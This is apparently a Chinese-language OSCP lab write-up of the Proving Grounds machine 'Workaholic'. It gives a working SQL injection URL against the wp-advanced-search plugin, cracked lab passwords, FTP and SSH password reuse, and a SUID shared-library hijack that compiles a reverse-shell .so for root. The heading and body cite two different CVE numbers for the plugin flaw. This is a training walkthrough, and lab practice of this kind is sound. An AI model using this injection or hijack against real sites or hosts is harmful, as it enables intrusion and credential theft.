OSCP Workaholic Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Workaholic

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

WordPress wp-advanced-search 插件 SQL 注入 –> WordPress 后台用户和加密密码 –> hashcat 破解,得到 charlie、ted 用户密码 –> ted 用户登录 FTP 服务 –> 泄露 Mysql 登录密码 –> Mysql 密码登录 ssh –> charlie 用户权限 –> 用户旗帜

权限提升:

wp-monitor suid –> strings 查看程序字符串 –> wp-monitor 程序调用了 ted 用户家目录 so 文件 –> FTP 密码复用,切换至 ted 用户 –> 创建反弹 shell so 文件(init_plugin 函数名) –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
sudo nmap -p- 192.168.203.229 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo nmap -p21,22,80 -sCV 192.168.203.229

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-generator: WordPress 6.7.2
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Workaholic
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH、FTP 服务。

3.2 渗透测试突破边界

3.2.1 WordPress wp-advanced-search 插件 SQL 注入漏洞(CVE-2024-9796)

访问靶机 HTTP 80 端口,发现其部署了 WordPress 内容管理系统。

在页面源码发现网站域名,添加 kali 至本地域名解析。

1
echo "192.168.203.229\tworkaholic.offsec" | sudo tee -a /etc/hosts

通过 wpscan 枚举发现 wp-advanced-search 插件存在 SQL 注入漏洞(CVE-2024-10554)。

1
wpscan --url http://workaholic.offsec/ --api-token $wp_token

参考链接:

1
https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b

使用链接中的 payload 执行 SQL 注入,可得到 WordPress 后台用户名和加密的密码。

1
http://workaholic.offsec/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e

3.2.2 Hashcat 破解 WordPress 密码

将密文保存至同一个文本中,使用 hashcat 进行破解,注意: 需要较长一段时间等待,最终可得到了 Charlie 和 ted 用户密码。

1
hashcat hash ~/Desktop/rockyou.txt

1
2
charlie:chrish20
ted:okadamat17

3.3.3 FTP 泄露 WordPress 配置文件,密码复用得到 charlie 用户权限

由于得到的用户后台权限较低,无法通过 WordPress 突破边界,经尝试,使用 ted 用户密码可访问靶机 ftp 服务,并且在目录发现 WordPress 配置文件,将其下载至本地。

1
2
3
ftp 192.168.203.229 # ted:okadamat17
passive
get wp-config.php

在配置文件中得到了 WordPress 数据库用户密码。

使用获取的数据库密码,ssh 登录获取到 charlie 用户权限。

1
2
ssh charlie@192.168.203.229
bash

3.2.4 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Wp-monitor suid 权限提权至 root

排查系统文件时发现/var/www/html/wordpress/blog/wp-monitor 程序具有 suid 权限,且该程序属于 root 用户,如果该程序存在配置漏洞,可直接提升至系统 root 权限。

1
find / -perm -u=s -type f 2>/dev/null

使用 strings 查看程序包含的字符信息,发现程序执行过程疑似调用了/home/ted/.lib/libsecurity.so 文件。

1
strings /var/www/html/wordpress/blog/wp-monitor

利用之前 hashcat 破解的密码,可通过 su 命令切换至 ted 用户。

1
su ted # okadamat17

此时需要理清思路,wp-monitor 程序执行过程中疑似调用了 ted 家目录 so 文件,而 ted 家目录没有发现该文件,我们可尝试创建一个反弹 shell 的 so 文件放置到/home/ted/.lib/libsecurity.so,当手动执行 wp-monitor 程序时,大概率也会调用执行 libsecurity.so 文件。

在 reverse shell 网站找到 c 语言反弹 shell,将其写入到/home/ted/.lib/libsecurity.so。

1
https://www.revshells.com/

靶机内置有 gcc 可以直接编译 so 文件。

1
2
gcc -shared -fPIC libsecurity.c -o libsecurity.so
chmod 777 *

在 kali 使用 nc 监听 80 端口,然后尝试执行 wp-monitor 程序,系统提示在库文件没有找到对应函数。

再次分析 wp-monitor 程序,发现其疑似调用 so 文件的 init_plugin 函数,将 libsecurity.c 文件的 mian 换为 init_plugin,再次编译。

编译成功后,再次执行 wp-monitor 程序,成功获取到系统 root 权限 shell。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Workaholic Write-up
https://www.f0nesec.top/2025/08/28/oscp-workaholic/
作者
F0ne
发布于
2025年8月28日
许可协议